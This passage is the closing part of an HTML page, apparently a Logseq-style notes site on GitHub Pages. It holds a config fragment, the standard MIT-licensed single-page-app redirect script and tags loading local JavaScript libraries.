:block/content-max-length 10000, :ui/show-command-doc? true, :feature/enable-search-remove-accents? true, :default-home {:page \"Topics\"}}}}"</script>
|
||
<script type="text/javascript">// Single Page Apps for GitHub Pages
|
||
// https://github.com/rafgraph/spa-github-pages
|
||
// Copyright (c) 2016 Rafael Pedicini, licensed under the MIT License
|
||
// ----------------------------------------------------------------------
|
||
// This script checks to see if a redirect is present in the query string
|
||
// and converts it back into the correct url and adds it to the
|
||
// browser's history using window.history.replaceState(...),
|
||
// which won't cause the browser to attempt to load the new url.
|
||
// When the single page app is loaded further down in this file,
|
||
// the correct url will be waiting in the browser's history for
|
||
// the single page app to route accordingly.
|
||
(function(l) {
|
||
if (l.search) {
|
||
var q = {};
|
||
l.search.slice(1).split('&').forEach(function(v) {
|
||
var a = v.split('=');
|
||
q[a[0]] = a.slice(1).join('=').replace(/~and~/g, '&');
|
||
});
|
||
if (q.p !== undefined) {
|
||
window.history.replaceState(null, null,
|
||
l.pathname.slice(0, -1) + (q.p || '') +
|
||
(q.q ? ('?' + q.q) : '') +
|
||
l.hash
|
||
);
|
||
}
|
||
}
|
||
}(window.location))</script>
|
||
<script src="static/js/react.production.min.js"></script>
|
||
<script src="static/js/react-dom.production.min.js"></script>
|
||
<script src="static/js/ui.js"></script>
|
||
<script src="static/js/main.js"></script>
|
||
<script src="static/js/interact.min.js"></script>
|
||
<script src="static/js/highlight.min.js"></script>
|
||
<script src="static/js/katex.min.js"></script>
|
||
<script src="static/js/html2canvas.min.js"></script>
|
||
<script src="static/js/code-editor.js"></script>
|
||
<script src="static/js/custom.js"></script>
|
||
</body>
|